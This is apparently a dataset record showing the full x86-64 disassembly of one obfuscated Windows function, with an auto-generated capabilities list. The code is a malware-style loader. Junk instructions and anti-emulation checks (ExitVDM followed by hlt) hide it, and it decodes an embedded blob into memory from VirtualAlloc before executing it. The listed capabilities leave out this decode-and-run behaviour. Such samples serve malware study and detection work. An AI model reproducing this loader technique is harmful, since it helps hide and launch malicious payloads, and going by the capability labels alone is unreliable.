Function at 0x140002076
Capabilities:
Accept command line arguments
Enumerate threads

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x1b0
mov rax, 0xf0e9
mov r9, 0x6e2a
cmp rax, r9
je 0x1400020a6
sub rax, rax
not rax
mov qword [rbp - 0x50], rax
mov rax, 0xf014
cld
mov qword [rbp - 0xf8], r13
sub r13, r13
and qword [rbp - 0x40], 0
inc r13
mov qword [rbp - 0x178], r10
mov qword [rbp - 8], 0xeceb
inc qword [rbp - 8]
mov qword [rbp - 0x140], rbx
mov qword [rbp - 0xc8], rbp
mov r13, rax
jg 0x1400020f3
sub r10, r10
mov r9, 0xaa5b
not r10
and r9, 0
mov rax, rbp
cld
sub r13, r13
cmp r13, qword [rbp - 0xc8]
je 0x14000217b
mov qword [rbp - 0x70], 0x7e92
and rax, 0
not qword [rbp - 0x70]
mov r10, 0x3488
cld
sub r10, r10
add r10, 0x76c3
mov qword [rbp - 0x148], rsp
mov r10, r9
cld
mov qword [rbp - 0xa8], 0
mov rax, 0xe173
xor qword [rbp - 0xa8], rax
mov qword [rbp - 0x98], rax
mov rax, 0x864d
cld
mov qword [rbp - 0x170], rax
mov r9, r13
sbb qword [rbp - 0x170], r9
mov rax, 0x960
and qword [rbp - 0x1a0], 0
xor rax, qword [rbp - 0x1a0]
mov qword [rbp - 0x48], r14
mov r14, rsp
mov rax, 0xb0c1
jl 0x1400021da
mov qword [rbp - 0x190], 0x2a7d
mov rbx, r13
not qword [rbp - 0x190]
sub rbx, rbx
dec rbx
sub rbx, rbx
and qword [rbp - 0xd8], 0
add rbx, qword [rbp - 0xd8]
mov qword [rbp - 0xf0], rax
sub rbx, rbx
cld
mov qword [rbp - 0x158], 0xe268
cld
sub rax, rax
mov qword [rbp - 0x138], rsp
cld
mov rax, qword [rbp - 0x158]
cld
mov qword [rbp - 0x38], rdi
mov r14, r13
mov qword [rbp - 0x80], rbp
jmp 0x140002274
mov qword [rbp - 0x20], r14
and rbx, 0
cld
mov qword [rbp - 0x130], rdx
and qword [rbp - 0x118], 0
cld
mov qword [rbp - 0x188], r12
mov qword [rbp - 0x58], rsp
and rdx, 0
test qword [rbp - 0x58], rdx
jb 0x1400022ea
mov rbx, qword [rbp - 0x190]
mov r10, 0x67e7
adc rbx, r10
mov rax, r10
cld
mov rdx, 0xf777
dec rdx
mov rbx, 0xe5b3
cld
sub r13, r13
add qword [rbp - 0x170], r13
sub rax, rax
cld
and rdi, 0
and qword [rbp - 0x160], 0
dec rdi
mov rax, rdx
cld
sub r9, r9
dec r9
mov qword [rbp - 0x110], r8
mov qword [rbp - 0x90], r14
sub r14, r14
jmp 0x140002345
mov qword [rbp - 0x100], r11
mov r11, 0xef1e
mov rbx, r9
adc r11, rbx
mov r14, 0xbabf
and r10, 0
cld
mov qword [rbp - 0xb8], r15
sub r14, r14
dec qword [rbp - 0xc8]
mov qword [rbp - 0xa0], rcx
sub r11, r11
cld
mov r15, 0x74a8
mov rax, rbp
sbb r15, rax
mov qword [rbp - 0xd0], rsi
sub r13, r13
and r15, 0
cmp r13, r15
jbe 0x1400023fc
xor qword [rbp - 0x108], 0x573c
mov r15, 0xf833
and r15, 0x54f3
mov r14, rsp
cld
mov rdi, r14
mov r14, qword [rbp - 0x150]
inc rdi
mov rsi, 0xe969
add rsi, qword [rbp - 0xd8]
mov rbx, 0xae80
dec rbx
or qword [rbp - 0xe0], 0xdaba
mov r15, 0x92e7
and r13, 0
inc r15
mov rdi, 0x7c27
jne 0x140002413
mov rsi, 0x9b7c
and qword [rbp - 0xe0], rsi
sub rsp, 0x20
sub rdx, rdx
mov r14, qword [rbp - 0x98]
cld
sub r8, r8
jmp 0x140002458
mov r9, 0x8c53
sub qword [rbp - 0xf0], r9
mov r8, 0x1e40
mov r15, 0x2a5a
je 0x1400024b5
and r9, 0
not r9
mov r13, qword [rbp - 0x190]
mov qword [rbp - 0x88], r13
add r13, qword [rbp - 0x88]
and rcx, 0
cld
mov r14, r8
mov r10, 0x8353
add r14, r10
sub r11, r11
mov rdi, qword [rbp - 0x58]
adc r11, rdi
sub rdx, rdx
sub r12, r12
cld
adc qword [rbp - 0x1a0], 0x8ca2
mov r14, 0xcdb3
not qword [rbp - 0x190]
mov r13, qword [rbp - 0x80]
mov qword [rbp - 0x168], rbx
test qword [rbp - 0x168], r13
jbe 0x1400024e9
and rbx, 0
not rbx
mov qword [rbp - 0x68], r12
and r9, 0
test qword [rbp - 0x68], r9
jl 0x14000254e
sub r10, r10
mov r9, 0xbaa7
add r10, r9
mov r11, 0xc677
inc r11
mov rsi, qword [rbp - 0x88]
cld
mov r12, r10
cld
mov rdx, rcx
mov qword [rbp - 0xc0], 0x9488
not rdx
sub rax, rax
not rax
mov qword [rbp - 0x180], 0x1dc1
add qword [rbp - 0x180], 0x8c84
mov rsi, rdx
add qword [rbp - 0x80], rsi
mov rax, qword [rbp - 0x118]
ja 0x140002570
sub r10, r10
mov rcx, 0x3093
add r10, rcx
cld
and rbx, 0
sbb qword [rbp - 0xd8], rbx
mov rcx, 0x8fb8
mov rdi, 0x9254
jmp 0x1400025ab
push 0xcae7
mov r12, r12
jmp 0x1400025eb
sub rsi, rsi
test qword [rbp - 0x68], rsi
ja 0x140002635
mov r10, 0x7891
not qword [rbp - 0x118]
xor qword [rbp - 0x190], 0xf9e2
and r11, 0
mov r13, 0xe27f
dec r11
and r9, 0
xor r9, 0x8879
sub rsi, rsi
mov qword [rbp - 0x78], 0xfbfa
sbb rsi, qword [rbp - 0x78]
mov rbx, qword [rbp - 0x190]
sbb qword [rbp - 0x90], rbx
mov r13, 0x6cbb
test r13, 0x5d6f
ja 0x14000269d
mov rbx, 0xfe2b
inc rbx
mov r15, r9
mov rcx, 0x52f8
add r15, rcx
mov rsi, qword [rbp - 0x170]
inc qword [rbp - 0x128]
mov rcx, 0xb713
dec rcx
sub r9, r9
mov rbx, r12
cld
sub r14, r14
mov r8, 0x2240
or r14, r8
sbb rsi, 0x85cd
sub byte [rsp - 0x40], 1
jne 0x1400025eb
sub rax, rax
test qword [rbp - 0xa8], rax
jae 0x1400026e4
mov r8, 0x24cf
and r9, 0
inc r8
and r14, 0
cld
and rdi, 0
cld
mov r9, rsp
mov r14, qword [rbp - 0xd8]
xor r9, r14
adc qword [rbp - 0x168], 0xb0f5
sub word [rsp - 0x3c], 1
jne 0x1400025eb
dec qword [rbp - 0x1a0]
and r14, 0
cld
pop rax
sub rcx, rcx
mov r12, r10
sub r11, r11
sub r12, r11
sub rdx, rdx
mov rsi, qword [rbp - 0xd8]
cld
sub r8, r8
mov r13, 0xf2bd
mov rsi, qword [rbp - 8]
dec r13
sub r9, r9
sbb qword [rbp - 0xc8], 0xce80
call qword [sym.imp.KERNEL32.dll_OpenEventW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
and r11, 0
inc r11
sub rcx, rcx
and rsi, 0
xor qword [rbp - 0x158], rsi
sub rdx, rdx
sub rdi, rdi
jl 0x14000276c
mov r11, 0xfd14
cld
mov r11, qword [rbp - 0x128]
cld
sub r8, r8
mov r10, qword [rbp - 0x118]
test qword [rbp - 0x40], r10
jb 0x140002794
mov r12, qword [rbp - 0xa8]
xor qword [rbp - 0xa8], r12
mov rbx, 0xce29
inc rbx
sub r9, r9
mov r11, qword [rbp - 0x58]
jbe 0x1400027ee
mov r10, 0xb3f6
sub rdi, rdi
xor r10, rdi
sub r10, r10
dec qword [rbp - 0xc8]
inc qword [rbp - 0x190]
and r15, 0
sub r15, qword [rbp - 0x88]
sub r15, r15
dec qword [rbp - 0x1a0]
sub r12, r12
dec qword [rbp - 0xd8]
mov rsi, qword [rbp - 0x1a0]
xor qword [rbp - 0xf0], rsi
sub r13, r13
dec r13
call qword [sym.imp.KERNEL32.dll_Thread32Next]
sub rsi, rsi
and rbx, 0
adc rsi, rbx
sub rcx, rcx
sub rdx, rdx
mov r14, 0x1d6d
cld
sub r8, r8
sub r9, r9
mov rax, 0xc74c
jbe 0x140002834
xor qword [rbp - 0x58], 0x1a18
mov rsi, rbx
xor rsi, qword [rbp - 0x170]
inc qword [rbp - 0x148]
call qword [sym.imp.KERNEL32.dll_Thread32Next]
mov r10, rsp
jg 0x140002877
sub rbx, rbx
add rbx, qword [rbp - 0x150]
mov r12, qword [rbp - 8]
or qword [rbp - 0x80], r12
mov rdi, qword [rbp - 8]
cld
and rbx, 0
mov rdi, rax
cld
mov r10, 0x2bc9
cld
sbb qword [rbp - 0x68], 0x75b1
mov rdi, r12
sub r13, r13
inc rdi
sub rcx, rcx
sub rdx, rdx
sub r8, r8
mov rbx, 0xafbd
inc qword [rbp - 0x1a0]
sub r9, r9
call qword [sym.imp.KERNEL32.dll_Thread32First]
sub rcx, rcx
sub rbx, rbx
cld
sub rdx, rdx
sub r15, r15
add r15, qword [rbp - 0xe8]
sub r8, r8
sub r9, r9
mov r14, 0xd5f
cld
call qword [sym.imp.KERNEL32.dll_Process32NextW]
mov r13, 0x6be5
dec qword [rbp - 0xe8]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov r12, rax
sub r12, qword [rbp - 0x58]
sub rcx, rcx
sub rdx, rdx
mov r11, 0xa845
cld
sub r8, r8
sub r12, r12
sub r14, r14
jl 0x140002938
sub rax, rax
cld
mov rdi, 0xeb7c
add qword [rbp - 8], rdi
sub rbx, rbx
sub qword [rbp - 0xa8], rbx
mov rbx, rbx
add rbx, qword [rbp - 0x150]
and r13, 0
mov r11, qword [rbp - 0x138]
inc r13
mov rdi, 0xfaef
dec rdi
sub r15, r15
mov rbx, qword [rbp - 0x30]
not r15
sub r9, r9
and r15, 0
cmp r15, qword [rbp - 0x20]
jbe 0x14000297b
mov rbx, 0x3429
inc qword [rbp - 0xe8]
and r15, 0
not qword [rbp - 0x1a0]
sub rbx, rbx
cld
dec qword [rbp - 0xc8]
sub rdi, rdi
adc qword [rbp - 0x68], rdi
adc qword [rbp - 0x1a0], 0x9bd
call qword [sym.imp.KERNEL32.dll_Thread32Next]
and r10, 0
test qword [rbp - 0x158], r10
jg 0x1400029d7
mov rbx, 0x1847
sub r10, r10
cld
and rax, 0
dec qword [rbp - 0x50]
sub rsi, rsi
mov rax, r10
or rsi, rax
mov rdi, 0x38e2
dec qword [rbp - 0xd8]
mov r15, 0x2569
and qword [rbp - 0x160], r15
and rbx, 0
not rbx
mov r13, rbp
inc qword [rbp - 0x88]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, 0xdd60
jb 0x140002a2d
and rbx, 0
inc rbx
sub r15, r15
adc qword [rbp - 0x118], r15
sub rdx, rdx
and r12, 0
cld
and r14, 0
mov r15, 0xd17e
or r14, r15
mov r10, qword [rbp - 0xc0]
adc r10, 0x4cf9
mov rax, qword [rbp - 0x80]
cld
mov r15, 0x7d9b
sub r10, r10
dec r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, 0xc32c
not rcx
sub rcx, rcx
and r13, 0
mov rax, 0x7162
jmp 0x140002a58
sub rdx, rdx
mov rax, rbp
test qword [rbp - 0x88], rax
ja 0x140002a90
sub r13, r13
cld
and r12, 0
mov rsi, qword [rbp - 0x170]
cld
mov r15, 0x8e49
sbb r15, 0x6a27
and r10, 0
and rsi, 0
dec r10
sub r8, r8
sub rbx, rbx
add rbx, qword [rbp - 0x190]
sub r9, r9
call qword [sym.imp.KERNEL32.dll_OpenEventW]
and r14, 0
dec qword [rbp - 0x168]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov r12, 0x68b8
cmp r12, qword [rbp - 0xd8]
jae 0x140002af8
cld
mov r8, 0x3828
inc r8
mov r13, rax
mov rdi, 0x16e0
or r13, rdi
xor qword [rbp - 8], rbx
mov rdi, rsp
or rdi, 0xa2a5
and rcx, 0
cld
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
cld
sub rcx, rcx
sub rdx, rdx
sub r8, r8
mov rax, qword [rbp - 0x70]
sub rax, qword [rbp - 0x168]
sub r9, r9
call qword [sym.imp.KERNEL32.dll_SleepEx]
sub rcx, rcx
sub rdx, rdx
mov rdi, 0x662f
je 0x140002b6e
sub r14, r14
not r14
mov r15, 0x9b57
cld
mov r10, r15
inc r10
mov r13, 0xb23d
sub r15, r15
inc r13
mov r12, qword [rbp - 0x90]
mov rbx, qword [rbp - 0x68]
inc r12
mov rsi, 0xf0fc
or qword [rbp - 0x108], rsi
mov rbx, rbx
inc rbx
sub r8, r8
sub r9, r9
mov r14, r12
not r14
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov rbx, rbp
mov rsi, 0xa086
or rbx, rsi
sub rcx, rcx
sub rdx, rdx
mov r12, qword [rbp - 0x40]
cld
sub r8, r8
mov r12, 0xacd3
cmp r12, qword [rbp - 0xc0]
je 0x140002bd9
sub r11, r11
mov r13, r11
dec r11
mov rsi, 0x93a4
and qword [rbp - 0x160], rsi
mov r12, 0x9a62
sub r11, r11
cld
sub rdi, rdi
cld
mov r11, 0x41a7
cld
sub r9, r9
call qword [sym.imp.KERNEL32.dll_Process32NextW]
mov r12, 0x1978
cmp r12, qword [rbp - 0xc8]
jg 0x140002c43
mov r10, 0x8126
sub r10, qword [rbp - 0xd8]
sub r14, r14
cld
mov rsi, qword [rbp - 0x158]
and rsi, qword [rbp - 0x150]
mov rax, 0x4c50
cld
mov r10, rsi
mov r12, qword [rbp - 0x148]
inc r10
mov r10, rbp
mov r12, 0x2eca
cld
mov rax, 0xfc4e
sbb qword [rbp - 0x70], rax
sub r15, r15
not r15
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
sub rcx, rcx
and r14, 0
test qword [rbp - 0x78], r14
je 0x140002c8c
mov r12, 0x582f
sub r10, r10
not r12
mov r10, rsp
cld
mov rax, 0x4d1a
mov rsi, r10
sbb rax, rsi
and r13, 0
sub r14, r14
dec r13
mov rsi, 0x1134
dec qword [rbp - 0xe8]
sub rdx, rdx
mov r13, qword [rbp - 0x128]
cmp qword [rbp - 0x168], r13
ja 0x140002cc2
mov rbx, 0x9a11
sub rbx, qword [rbp - 0x80]
mov r14, 0x94
adc r14, 0xcea
and r10, 0
mov rax, r13
adc r10, rax
sub r8, r8
sub r9, r9
mov rbx, qword [rbp - 0x128]
sub qword [rbp - 0x168], rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
sub rcx, rcx
mov r13, 0x938d
cmp qword [rbp - 0x80], r13
jl 0x140002d3a
dec qword [rbp - 0x160]
add qword [rbp - 0x128], 0x540d
mov r11, rbp
not qword [rbp - 0xd8]
sub rax, rax
mov rsi, qword [rbp - 0x58]
dec rax
mov rax, qword [rbp - 0x98]
cld
mov r14, 0xf0c7
inc r14
mov r15, 0x28c
cld
mov rdi, 0x5fa8
sbb qword [rbp - 0x128], rdi
sub rdx, rdx
mov rdi, 0x5f40
adc qword [rbp - 0x50], rdi
sub r8, r8
and rax, 0
cmp rax, 0x443c
jb 0x140002d74
mov r12, rsp
and r12, 0xfa1c
mov r11, 0x5713
cld
and rsi, 0
sub rsi, 0xe68d
sub r9, r9
mov r13, qword [rbp - 0x78]
cmp qword [rbp - 0x158], r13
jg 0x140002dae
mov r10, 0xfa27
add qword [rbp - 0x118], r10
mov r14, 0x1bec
adc r14, 0xaaeb
cld
and rdi, 0
cld
mov r13, 0xcf7e
cld
call qword [sym.imp.KERNEL32.dll_SleepEx]
and rdi, 0
inc qword [rbp - 0x160]
sub rcx, rcx
mov r11, qword [rbp - 0x138]
mov r14, 0x4709
sbb r11, r14
sub rdx, rdx
mov r10, rbp
test qword [rbp - 0x148], r10
jae 0x140002e1b
sub rbx, rbx
and r14, 0
dec rbx
mov r12, rax
not r12
mov r13, qword [rbp - 0x190]
inc qword [rbp - 0x108]
mov rdi, rsp
and rax, 0
dec rdi
xor qword [rbp - 8], 0x342d
mov rsi, rsp
sub r10, r10
not rsi
sub r8, r8
sub r15, r15
and r14, 0
jbe 0x140002e7a
mov rsi, qword [rbp - 0x78]
cld
mov rsi, qword [rbp - 0x50]
mov rbx, 0xb81a
xor rsi, rbx
mov r11, 0xe8dd
inc r11
mov rsi, 0x3f8a
cld
mov r11, 0x7393
not qword [rbp - 0x128]
mov r13, r10
cld
mov r10, 0x6b3d
dec qword [rbp - 0x108]
mov r10, 0x79a4
sub qword [rbp - 0xc8], r10
sub r9, r9
call qword [sym.imp.KERNEL32.dll_Thread32Next]
and r11, 0
xor r11, 0x72bc
sub rcx, rcx
and rbx, 0
sub r11, r11
jmp 0x140002eaf
sub rdx, rdx
sub r8, r8
sub r9, r9
mov rsi, qword [rbp - 0x60]
jmp 0x140002ef3
call qword [sym.imp.KERNEL32.dll_Process32NextW]
sub rax, rax
cld
sub rcx, rcx
sub rdx, rdx
mov rdi, 0xdf77
test rdi, 0xa272
je 0x140002f3d
mov r14, 0x2a12
dec r14
mov r10, qword [rbp - 0x58]
not r10
sub r12, r12
and rdi, 0
not r12
mov rax, 0x9d5c
cld
mov rax, rax
or qword [rbp - 8], rax
sub r8, r8
sub r9, r9
call qword [sym.imp.KERNEL32.dll_OpenEventW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
sub ecx, ecx
jmp 0x140002fae
sub edx, edx
sub rax, rax
and r10, 0
jmp 0x140002fe3
sub r8, r8
mov rbx, rbx
cld
sub r9, r9
sub rsi, rsi
cmp qword [rbp - 0xf0], rsi
jb 0x140003011
mov r11, qword [rbp - 0x50]
dec qword [rbp - 0x180]
sub rbx, rbx
mov r15, 0x956b
inc rbx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov r15, 0xba5e
dec r15
sub ecx, ecx
sub edx, edx
mov r11, 0x3652
cld
sub r8, r8
mov r10, 0xc15
cld
sub r9, r9
mov rdi, r15
jmp 0x140003074
call qword [sym.imp.KERNEL32.dll_OpenEventA]
sub ecx, ecx
and rsi, 0
cld
sub edx, edx
mov rdi, rax
and r13, 0
not rdi
sub r8, r8
sub r9, r9
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rsi, qword [rbp - 0x1a0]
adc rsi, 0x4909
sub ecx, ecx
sub edx, edx
mov r15, 0xd59
test qword [rbp - 0x30], r15
jne 0x1400030c3
mov r12, 0xbf3
sub r10, r10
cld
sub r8, r8
sub r9, r9
sub r12, r12
jmp 0x1400030ff
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
sub ecx, ecx
mov rsi, 0x2bb9
mov r14, 0xa9e4
test rsi, r14
je 0x14000314d
mov r12, 0x4c2c
inc r12
mov r15, qword [rbp - 0x70]
mov r10, 0x617d
adc r15, r10
and r11, 0
sub rsi, rsi
sub r11, rsi
and r10, 0
mov rsi, r10
not r10
mov r10, rsi
inc qword [rbp - 0x40]
sub edx, edx
mov r10, rsi
cmp r10, 0x8d2c
jl 0x14000319e
mov rax, 0x3452
inc qword [rbp - 0x148]
mov r13, 0x8bc1
or r13, qword [rbp - 0xe0]
dec qword [rbp - 0x70]
mov r10, 0x1593
inc r10
mov rdi, rsi
cld
sbb qword [rbp - 0x168], 0xa64c
and rax, 0
or rax, 0xd226
sub r8, r8
mov r14, qword [rbp - 0x50]
jg 0x1400031d3
sub rax, rax
and rsi, 0
cld
mov r12, r12
cld
mov rax, 0xc1f
cld
mov r13, 0xe4a3
or r13, 0x70f1
mov rdi, rsp
mov r14, qword [rbp - 0x78]
inc rdi
sub r9, r9
and rdi, 0
cld
call qword [sym.imp.KERNEL32.dll_ExitVDM]
mov rdi, rax
xor qword [rbp - 0x148], rdi
cld
and eax, 0xc0000000
jne 0x140003204
mov r14, rbp
dec r14
hlt
sub ecx, ecx
sub edx, edx
sub r8, r8
mov rsi, r14
mov r15, 0xef31
ja 0x14000323e
mov r13, 0xb9e7
dec qword [rbp - 0x58]
mov rax, 0x3c9a
mov rsi, 0xdcc6
inc rax
and rsi, 0
inc qword [rbp - 0x1a0]
sub r9, r9
sub rax, rax
sub rax, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_ExitVDM]
and eax, 0xc0000000
jne 0x1400032e1
hlt
and r15, 0
jb 0x14000332f
mov r15, 0x65a0
not r15
and r11, 0
inc r11
cld
mov r12, 0x933a
mov rdi, r13
xor r12, rdi
mov rbx, 0x65e5
not rbx
mov rbx, r11
mov r13, 0x9311
cld
mov r15, rsp
not r15
mov r11, 0xe4ba
not qword [rbp - 0x88]
sub ecx, ecx
mov rbx, qword [rbp - 0x148]
cld
sub edx, edx
mov r10, 0xc9a9
inc r10
sub r8, r8
cld
sub r9, r9
cmp qword [rbp - 0x60], 0x5b5e
jg 0x140003367
inc qword [rbp - 0x168]
sub r13, r13
sbb r13, qword [rbp - 0x128]
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
sub r14, r14
test qword [rbp - 0x70], r14
jg 0x14000337b
and r13, 0
cld
sub ecx, ecx
sub r11, r11
test qword [rbp - 0x50], r11
jne 0x140003393
inc qword [rbp - 0x68]
sub rsi, rsi
mov rbx, rsp
sub rsi, rbx
sub edx, edx
sub r8, r8
mov r10, 0xdbbc
dec qword [rbp - 0x108]
sub r9, r9
mov rbx, qword [rbp - 0x60]
adc rbx, qword [rbp - 0x170]
call qword [sym.imp.KERNEL32.dll_ExitVDM]
mov rbx, 0xa087
and rdi, 0
cld
and eax, 0xc0000000
jne 0x140003433
hlt
mov rdi, qword [rbp - 0xc0]
jmp 0x140003457
sub ecx, ecx
and rdi, 0
test qword [rbp - 0xc8], rdi
jbe 0x140003472
mov rsi, r12
cld
mov r15, 0x7c82
cld
sub edx, edx
mov r13, qword [rbp - 0xc8]
add qword [rbp - 0x108], r13
sub r8, r8
sub r9, r9
mov r14, qword [rbp - 0x20]
cmp r14, qword [rbp - 0x118]
jb 0x1400034a7
mov r11, 0x77b6
cld
mov r12, qword [rbp - 0x150]
dec r12
call qword [sym.imp.KERNEL32.dll_ExitVDM]
dec qword [rbp - 0x150]
mov r13, qword [rbp - 0x80]
test qword [rbp - 0x148], r13
jl 0x1400034c5
mov rbx, rax
cld
mov rbx, qword [rbp - 0xe0]
mov r13, 0x30a4
cld
and eax, 0xc0000000
jne 0x140003500
sub rbx, rbx
cld
hlt
and r14, 0
jmp 0x140003527
sub ecx, ecx
mov r15, r14
jb 0x140003548
not qword [rbp - 0x148]
mov r14, qword [rbp - 0x98]
cld
and rsi, 0
and qword [rbp - 0xa8], rsi
sub edx, edx
mov r12, qword [rbp - 0x160]
jmp 0x140003581
sub r8, r8
sub r9, r9
call qword [sym.imp.KERNEL32.dll_ExitVDM]
mov rbx, 0xef51
not rbx
and eax, 0xc0000000
jne 0x140003609
hlt
sub ecx, ecx
mov r13, 0xd383
cmp qword [rbp - 0x170], r13
jl 0x14000363d
and r14, 0
not r14
mov r10, r13
and r15, 0
cld
and r12, 0
cld
mov r15, 0xaee6
sub qword [rbp - 0x148], r15
sub edx, edx
jmp 0x140003681
sub r8, r8
sub r9, r9
mov r14, 0x2cc5
jmp 0x1400036bc
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
sub rdi, rdi
or rdi, 0xf3cb
sub ecx, ecx
mov r11, 0x73d0
cld
sub edx, edx
mov r15, 0xec26
and r15, qword [rbp - 0x70]
sub r8, r8
mov rbx, qword [rbp - 0x68]
sub r10, r10
test rbx, r10
jb 0x140003710
mov r10, qword [rbp - 0x118]
mov r15, 0x91e1
add r10, r15
mov rax, 0x86fd
mov rdi, r15
inc rax
sub r9, r9
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov r13, 0xdf75
mov r10, 0xcc6c
test r13, r10
ja 0x140003751
mov rdi, 0xde95
sub rsi, rsi
dec rdi
mov rax, qword [rbp - 0x160]
or rax, qword [rbp - 0x148]
mov r10, 0xdbe6
dec r10
sub ecx, ecx
sub edx, edx
mov r14, 0x712f
and qword [rbp - 0x40], r14
sub r8, r8
sub r14, r14
jne 0x140003773
and r14, 0
inc qword [rbp - 0x108]
sub r9, r9
mov rdi, 0x7016
jmp 0x1400037b0
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov r13, 0xad6d
dec qword [rbp - 0x118]
sub ecx, ecx
sub r13, r13
jb 0x1400037f6
mov rsi, 0xa558
cld
mov r11, rax
cld
and r14, 0
dec r14
mov r15, 0xb5b0
and r15, qword [rbp - 0x158]
mov r15, 0xcb20
not r15
sub edx, edx
mov r15, qword [rbp - 0xf0]
mov rsi, 0xbccb
add r15, rsi
sub r8, r8
sub r9, r9
sub r11, r11
test qword [rbp - 0xf0], r11
je 0x140003855
and r12, 0
xor r12, 0x3037
cld
and rbx, 0
mov r11, qword [rbp - 8]
cld
and rbx, 0
cld
sub rsi, rsi
cld
mov r15, r11
dec qword [rbp - 0x148]
and rdi, 0
sub rdi, qword [rbp - 0x68]
mov rdi, 0x124d
not rdi
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rbx, 0xd3e6
test qword [rbp - 0x108], rbx
jae 0x140003873
mov rax, qword [rbp - 0xe0]
cld
sub ecx, ecx
sub r15, r15
jne 0x14000389d
mov rsi, qword [rbp - 0x118]
and r12, 0
not rsi
and r11, 0
and rax, 0
xor r11, rax
mov r13, 0x501e
inc r13
sub edx, edx
sub r8, r8
dec qword [rbp - 0x150]
sub r9, r9
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov r9, 0x40
mov r15, 0x4087
ja 0x1400038ef
and rax, 0
sub rax, qword [rbp - 0x1a0]
mov r14, 0x6239
mov rcx, rax
cld
and rdi, 0
mov rax, 0x22d1
cld
mov rcx, qword [rbp - 0x158]
and rcx, qword [rbp - 8]
mov r8, 0x1000
mov rsi, 0x9b54
sub rax, rax
and rsi, rax
mov rdx, 0x11189
and r13, 0
and r10, 0
cld
mov rcx, 0
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
and r8, 0
mov rsi, qword [rbp - 0xd8]
xor r8, rsi
mov qword [rbp - 0x18], rax
sub rbx, rbx
cld
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x28], 0
mov r11, rax
sbb qword [rbp - 0x138], r11
mov qword [rbp - 0xb0], 0
mov r8, r11
cmp r8, qword [rbp - 0x70]
je 0x14000399a
mov r8, qword [rbp - 0xf0]
sub r9, r9
not r8
mov rdi, 0x8f6a
sub rsi, rsi
cld
mov rcx, qword [rbp - 8]
cld
mov r10, r8
cld
mov r8, qword [rbp - 0x148]
and r13, 0
cld
cld
mov rcx, 0x256d
cld
mov dword [rbp - 0x28], 0x56239c0
sub r10, r10
cld
mov dword [rbp - 0xb0], 0x1bdf831d
mov r12, 0xcd2
mov r14, rbp
dec r12
lea rdi, [0x140006395]
mov qword [rbp - 0x120], rdi
mov r9, qword [rbp - 0x120]
and r13, 0
cld
add r9, qword [rbp - 0x10]
mov r14, 0xd33
jne 0x140003a20
mov r8, qword [rbp - 0x158]
cld
mov r13, qword [rbp - 0x70]
cld
cld
mov r14, 0xa21
sbb qword [rbp - 0x148], r14
dec qword [rbp - 0x170]
mov r11, 0x8326
and r13, 0
cld
sub r13, r13
cld
sub r13, r13
dec qword [rbp - 0xe8]
mov r9, qword [r9]
cld
add r9, qword [rbp - 0x28]
mov r13, 0xa1dd
cmp qword [rbp - 0x98], r13
jg 0x140003a52
mov r13, 0xda0c
and r14, 0
cld
mov r10, qword [rbp - 0x170]
and r14, 0
dec r10
mov r12, qword [rbp - 0x18]
test qword [rbp - 0x118], 0x8c9b
jg 0x140003a7c
mov r13, 0x1260
cld
mov r8, 0x4e6f
sub r13, r13
or r8, r13
sub r8, r8
cld
add r12, qword [rbp - 0x10]
and r14, 0
mov r10, 0xea19
cld
mov qword [r12], r9
sub rdi, rdi
mov r11, qword [rbp - 0x1a0]
test rdi, r11
jl 0x140003ac6
mov r8, qword [rbp - 0x118]
dec qword [rbp - 0x60]
inc r11
mov r11, r8
xor r11, 0x9129
mov r10, qword [rbp - 0x78]
adc qword [rbp - 0x60], r10
sub r10, r10
sub r8, r8
cld
mov edi, dword [rbp - 0xb0]
mov r14, 0xf2dc
mov r9, 0xc19d
cld
add dword [rbp - 0x28], edi
mov r13, r13
dec r13
add dword [rbp - 0xb0], 0x7813865c
add dword [rbp - 0x10], 4
mov r14, r11
cld
cmp dword [rbp - 0x10], 0x2da0
jne 0x1400039ca
mov r14, qword [rbp - 0x78]
inc qword [rbp - 0x1a0]
and r13, 0
sub r13, 0x96ea
mov rdi, qword [rbp - 0x18]
sub r8, r8
mov r13, rsp
test r8, r13
jg 0x140003b68
mov r10, r11
adc qword [rbp - 0x68], r10
mov r15, qword [rbp - 0x20]
inc r15
mov r11, r9
cld
and r13, 0
and r14, 0
cld
mov r12, 0x1e5d
not r12
mov r10, qword [rbp - 0x168]
not qword [rbp - 0x98]
sub r15, r15
mov r12, qword [rbp - 0xe8]
adc r15, r12
add rdi, 0x2680
mov r13, rdi
mov r9, r14
cmp r13, r9
jbe 0x140003ba5
mov r14, qword [rbp - 0x1a0]
dec r14
mov r13, r13
mov r8, 0x6271
cld
sub r15, r15
sub r11, r11
cld
inc qword [rbp - 0x170]
mov r12, 0x9f95
cld
call rdi
sub r9, r9
not qword [rbp - 0x90]
leave
ret